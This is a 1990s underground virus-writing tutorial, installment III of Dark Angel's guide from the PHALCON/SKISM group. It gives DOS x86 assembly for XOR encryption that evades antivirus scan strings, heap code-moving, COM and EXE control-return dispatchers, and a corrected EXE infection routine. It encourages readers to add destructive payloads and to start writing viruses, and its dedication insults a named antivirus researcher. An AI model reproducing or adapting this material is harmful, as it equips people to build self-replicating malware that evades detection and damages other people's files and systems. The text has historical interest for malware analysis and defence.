home *** CD-ROM | disk | FTP | other *** search
- //==// // // /|| // //==== //==// //| //
- // // // // //|| // // // // //|| //
- //==// //==// //=|| // // // // // || //
- // // // // || // // // // // ||//
- // // // // || //==== //==== //==// // ||/
-
- /==== // // // /==== /| /|
- // // // // // //| //|
- ===\ // // // ===\ //|| //||
- // // \\ // // // ||// ||
- ====/ // \\ // ====/ // ||/ ||
-
- ───────────────────────────────────────────────
- DISCLAIMER: I hereby claim to have written this
- file.
- ───────────────────────────────────────────────
- DEDICATION: This is dedicated to Patty Hoffman,
- that fat bitch who doesn't know her own name,
- and to the millions of dumb fools who were so
- scared by Michelangelo that they didn't touch
- their computers for an entire day.
- ───────────────────────────────────────────────
- GREETS: to all PHALCON/SKISM members especially
- Garbageheap, Hellraiser, and Demogorgon.
- ───────────────────────────────────────────────
-
- Dark Angel's Crunchy Virus Writing Guide
- ──── ─────── ─────── ───── ─────── ─────
- "It's the right thing to do"
-
- ────────────────────────────────────────────
- INSTALLMENT III: NONRESIDENT VIRII, PART II
- ────────────────────────────────────────────
-
- Welcome to the third installment of my Virus Writing Guide. In the
- previous installment, I covered the primary part of the virus - the
- replicator. As promised, I shall now cover the rest of the nonresident
- virus and present code which, when combined with code from the previous
- installment, will be sufficient to allow anyone to write a simple virus.
- Additionally, I will present a few easy tricks and tips which can help
- optimise your code.
-
- ─────────────
- THE CONCEALER
- ─────────────
- The concealer is the most common defense virus writers use to avoid
- detection of virii. The most common encryption/decryption routine by far
- is the XOR, since it may be used for both encryption and decryption.
-
- encrypt_val dw ? ; Should be somewhere in decrypted area
-
- decrypt:
- encrypt:
- mov dx, word ptr [bp+encrypt_val]
- mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
- lea si, [bp+part_to_encrypt_start]
- mov di, si
-
- xor_loop:
- lodsw
- xor ax, dx
- stosw
- loop xor_loop
-
- The previous routine uses a simple XOR routine to encrypt or decrypt code
- in memory. This is essentially the same routine as the one in the first
- installment, except it encrypts words rather than bytes. It therefore has
- 65,535 mutations as opposed to 255 and is also twice as fast. While this
- routine is simple to understand, it leaves much to be desired as it is
- large and therefore is almost begging to be a scan string. A better method
- follows:
-
- encrypt_val dw ?
-
- decrypt:
- encrypt:
- mov dx, word ptr [bp+encrypt_val]
- lea bx, [bp+part_to_encrypt_start]
- mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
-
- xor_loop:
- xor word ptr [bx], dx
- add bx, 2
- loop xor_loop
-
- Although this code is much shorter, it is possible to further reduce its
- size. The best method is to insert the values for the encryption value,
- BX, and CX, in at infection-time.
-
- decrypt:
- encrypt:
- mov bx, 0FFFFh
- mov cx, 0FFFFh
-
- xor_loop:
- xor word ptr [bx], 0FFFFh
- add bx, 2
- loop xor_loop
-
- All the values denoted by 0FFFFh may be changed upon infection to values
- appropriate for the infected file. For example, BX should be loaded with
- the offset of part_to_encrypt_start relative to the start of the infected
- file when the encryption routine is written to the infected file.
-
- The primary advantage of the code used above is the minimisation of scan
- code length. The scan code can only consist of those portions of the code
- which remain constant. In this case, there are only three or four
- consecutive bytes which remain constant. Since the entire encryption
- consist of only about a dozen bytes, the size of the scan code is extremely
- tiny.
-
- Although the function of the encryption routine is clear, perhaps the
- initial encryption value and calculation of subsequent values is not as
- lucid. The initial value for most XOR encryptions should be 0. You should
- change the encryption value during the infection process. A random
- encryption value is desired. The simplest method of obtaining a random
- number is to consult to internal clock. A random number may be easily
- obtained with a simple:
-
- mov ah, 2Ch ; Get me a random number.
- int 21h
- mov word ptr [bp+encrypt_val], dx ; Can also use CX
-
- Some encryption functions do not facilitate an initial value of 0. For an
- example, take a look at Whale. It uses the value of the previous word as
- an encryption value. In these cases, simply use a JMP to skip past the
- decryption routine when coding the virus. However, make sure infections
- JMP to the right location! For example, this is how you would code such a
- virus:
-
- org 100h
-
- start:
- jmp past_encryption
-
- ; Insert your encryption routine here
-
- past_encryption:
-
- The encryption routine is the ONLY part of the virus which needs to be
- unencrypted. Through code-moving techniques, it is possible to copy the
- infection mechanism to the heap (memory location past the end of the file
- and before the stack). All that is required is a few MOVSW instructions
- and one JMP. First the encryption routine must be copied, then the
- writing, then the decryption, then the RETurn back to the program. For
- example:
-
- lea si, [bp+encryption_routine]
- lea di, [bp+heap]
- mov cx, encryption_routine_size
- push si
- push cx
- rep movsb
-
- lea si, [bp+writing_routine]
- mov cx, writing_routine_size
- rep movsb
-
- pop cx
- pop si
- rep movsb
-
- mov al, 0C3h ; Tack on a near return
- stosb
-
- call [bp+heap]
-
- Although most virii, for simplicity's sake, use the same routine for both
- encryption and decryption, the above code shows this is completely
- unnecessary. The only modification of the above code for inclusion of a
- separate decryption routine is to take out the PUSHes and replace the POPs
- with the appropriate LEA si and MOV cx.
-
- Original encryption routines, while interesting, might not be the best.
- Stolen encryption routines are the best, especially those stolen from
- encrypted shareware programs! Sydex is notorious for using encryption in
- their shareware programs. Take a look at a shareware program's puny
- encryption and feel free to copy it into your own. Hopefully, the anti-
- viral developers will create a scan string which will detect infection by
- your virus in shareware products simply because the encryption is the same.
-
- Note that this is not a full treatment of concealment routines. A full
- text file could be written on encryption/decryption techniques alone. This
- is only the simplest of all possible encryption techniques and there are
- far more concealment techniques available. However, for the beginner, it
- should suffice.
-
- ──────────────
- THE DISPATCHER
- ──────────────
- The dispatcher is the portion of the virus which restores control back to
- the infected program. The dispatchers for EXE and COM files are,
- naturally, different.
-
- In COM files, you must restore the bytes which were overwritten by your
- virus and then transfer control back to CS:100h, which is where all COM
- files are initially loaded.
-
- RestoreCOM:
- mov di, 100h ; We are copying to the beginning
- lea si, [bp+savebuffer] ; We are copying from our buffer
- push di ; Save offset for return (100h)
- movsw ; Mo efficient than mov cx, 3, movsb
- movsb ; Alter to meet your needs
- retn ; A JMP will also work
-
- EXE files require simply the restoration of the stack segment/pointer and
- the code segment/instruction pointer.
-
- ExeReturn:
- mov ax, es ; Start at PSP segment
- add ax, 10h ; Skip the PSP
- add word ptr cs:[bp+ExeWhereToJump+2], ax
- cli
- add ax, word ptr cs:[bp+StackSave+2] ; Restore the stack
- mov ss, ax
- mov sp, word ptr cs:[bp+StackSave]
- sti
- db 0eah ; JMP FAR PTR SEG:OFF
- ExeWhereToJump:
- dd 0
- StackSave:
- dd 0
-
- ExeWhereToJump2 dd 0
- StackSave2 dd 0
-
- Upon infection, the initial CS:IP and SS:SP should be stored in
- ExeWhereToJump2 and StackSave2, respectively. They should then be moved to
- ExeWhereToJump and StackSave before restoration of the program. This
- restoration may be easily accomplished with a series of MOVSW instructions.
-
- Some like to clear all the registers prior to the JMP/RET, i.e. they issue
- a bunch of XOR instructions. If you feel happy and wish to waste code
- space, you are welcome to do this, but it is unnecessary in most instances.
-
- ────────
- THE BOMB
- ────────
-
- "The horror! The horror!"
- - Joseph Conrad, The Heart of Darkness
-
- What goes through the mind of a lowly computer user when a virus activates?
- What terrors does the unsuspecting victim undergo as the computer suddenly
- plays a Nazi tune? How awful it must be to lose thousands of man-hours of
- work in an instant!
-
- Actually, I do not support wanton destruction of data and disks by virii.
- It serves no purpose and usually shows little imagination. For example,
- the world-famous Michelangelo virus did nothing more than overwrite sectors
- of the drive with data taken at random from memory. How original. Yawn.
- Of course, if you are hell-bent on destruction, go ahead and destroy all
- you want, but just remember that this portion of the virus is usually the
- only part seen by "end-users" and distinguishes it from others. The best
- examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.
- Don't forget the PHALCON/SKISM line, especially those by me (I had to throw
- in a plug for the group)!
-
- As you can see, there's no code to speak of in this section. Since all
- bombs should be original, there isn't much point of putting in the code for
- one, now is there! Of course, some virii don't contain any bomb to speak
- of. Generally speaking, only those under about 500 bytes lack bombs.
- There is no advantage of not having a bomb other than size considerations.
-
- ─────────
- MEA CULPA
- ─────────
- I regret to inform you that the EXE infector presented in the last
- installment was not quite perfect. I admit it. I made a mistake of
- colossal proportions The calculation of the file size and file size mod
- 512 was screwed up. Here is the corrected version:
-
- ; On entry, DX:AX hold the NEW file size
-
- push ax ; Save low word of filesize
- mov cl, 9 ; 2^9 = 512
- shr ax, cl ; / 512
- ror dx, cl ; / 512 (sort of)
- stc ; Check EXE header description
- ; for explanation of addition
- adc dx, ax ; of 1 to the DIV 512 portion
- pop ax ; Restore low word of filesize
- and ah, 1 ; MOD 512
-
- This results in the file size / 512 + 1 in DX and the file size modulo 512
- in AX. The rest remains the same. Test your EXE infection routine with
- Microsoft's LINK.EXE, since it won't run unless the EXE infection is
- perfect.
-
- I have saved you the trouble and smacked myself upside the head for this
- dumb error.
-
- ───────────────
- TIPS AND TRICKS
- ───────────────
- So now all the parts of the nonresident virus have been covered. Yet I
- find myself left with several more K to fill. So, I shall present several
- simple techniques anyone can incorporate into virii to improve efficiency.
-
- 1. Use the heap
- The heap is the memory area between the end of code and the bottom of
- the stack. It can be conveniently treated as a data area by a virus.
- By moving variables to the heap, the virus need not keep variables in
- its code, thereby reducing its length. Note that since the contents
- heap are not part of the virus, only temporary variables should be
- kept there, i.e. the infection routine should not count the heap as
- part of the virus as that would defeat the entire purpose of its use.
- There are two ways of using the heap:
-
- ; First method
-
- EndOfVirus:
- Variable1 equ $
- Variable2 equ Variable1 + LengthOfVariable1
- Variable3 equ Variable2 + LengthOfVariable2
- Variable4 equ Variable3 + LengthOfVariable3
-
- ; Example of first method
-
- EndOfVirus:
- StartingDirectory = $
- TemporaryDTA = StartingDirectory + 64
- FileSize = TemporaryDTA + 42
- Flag = FileSize + 4
-
- ; Second method
-
- EndOfVirus:
- Variable1 db LengthOfVariable1 dup (?)
- Variable2 db LengthOfVariable2 dup (?)
- Variable3 db LengthOfVariable3 dup (?)
- Variable4 db LengthOfVariable4 dup (?)
-
- ; Example of second method
- EndOfVirus:
- StartingDirectory db 64 dup (?)
- TemporaryDTA db 42 dup (?)
- FileSize dd ?
- Flag db ?
-
- The two methods differ slightly. By using the first method, you
- create a file which will be the exact length of the virus (plus
- startup code). However, when referencing the variables, size
- specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always
- be used or the assembler will become befuddled. Secondly, if the
- variables need to be rearranged for some reason, the entire chain of
- EQUates will be destroyed and must be rebuilt. Virii coded with
- second method do not need size specifications, but the resulting file
- will be larger than the actual size of the virus. While this is not
- normally a problem, depending on the reinfection check, the virus may
- infect the original file when run. This is not a big disability,
- especially considering the advantages of this method.
-
- In any case, the use of the heap can greatly lessen the effective
- length of the virus code and thereby make it much more efficient. The
- only thing to watch out for is infecting large COM files where the
- heap will "wrap around" to offset 0 of the same segment, corrupting
- the PSP. However, this problem is easily avoided. When considering
- whether a COM file is too large to infect for this reason, simply add
- the temporary variable area size to the virus size for the purposes of
- the check.
-
- 2. Use procedures
- Procedures are helpful in reducing the size of the virus, which is
- always a desired goal. Only use procedures if they save space. To
- determine the amount of bytes saved by the use of a procedure, use the
- following formula:
-
- Let PS = the procedure size, in bytes
- bytes saved = (PS - 4) * number invocations - PS
-
- For example, the close file procedure,
-
- close_file:
- mov ah, 3eh ; 2 bytes
- int 21h ; 2 bytes
- ret ; 1 byte
- ; PS = 2+2+1 = 5
-
- is only viable if it is used 6 or more times, as (5-4)*6 - 5 = 1. A
- whopping savings of one (1) byte! Since no virus closes a file in six
- different places, the close file procedure is clearly useless and
- should be avoided.
-
- Whenever possible, design the procedures to be as flexible as
- possible. This is the chief reason why Bulgarian coding is so tight.
- Just take a look at the source for Creeping Death. For example, the
- move file pointer procedure:
-
- go_eof:
- mov al, 2
- move_fp:
- xor dx, dx
- go_somewhere:
- xor cx, cx
- mov ah, 42h
- int 21h
- ret
-
- The function was build with flexibility in mind. With a CALL to
- go_eof, the procedure will move the file pointer to the end of the
- file. A CALL to move_fp with AL set to 0, the file pointer will be
- reset. A CALL to go_somewhere with DX and AL set, the file pointer
- may be moved anywhere within the file. If the function is used
- heavily, the savings could be enormous.
-
- 3. Use a good assembler and debugger
- The best assembler I have encountered to date is Turbo Assembler. It
- generates tight code extremely quickly. Use the /m2 option to
- eliminate all placeholder NOPs from the code. The advantages are
- obvious - faster development and smaller code.
-
- The best debugger is also made by Borland, the king of development
- tools. Turbo Debugger has so many features that you might just want
- to buy it so you can read the manual! It can bypass many debugger
- traps with ease and is ideal for testing. Additionally, this debugger
- has 286 and 386 specific protected mode versions, each of which are
- even more powerful than their real mode counterparts.
-
- 4. Don't use MOV instead of LEA
- When writing your first virus, you may often forget to use LEA instead
- of MOV when loading offsets. This is a serious mistake and is often
- made by beginning virus coders. The harmful effects of such a
- grevious error are immediately obvious. If the virus is not working,
- check for this bug. It's almost as hard to catch as a NULL pointer
- error in C.
-
- 5. Read the latest issues of 40Hex
- 40Hex, PHALCON/SKISM's official journal of virus techniques and news,
- is a publication not to be missed by any self-respecting virus writer.
- Each issue contains techniques and source code, designed to help all
- virus writers, be they beginners or experts. Virus-related news is
- also published. Get it, read it, love it, eat it!
-
- ──────
- SO NOW
- ──────
- you have all the code and information sufficient to write a viable virus,
- as well as a wealth of techniques to use. So stop reading and start
- writing! The only way to get better is through practise. After two or
- three tries, you should be well on your way to writing good virii.
-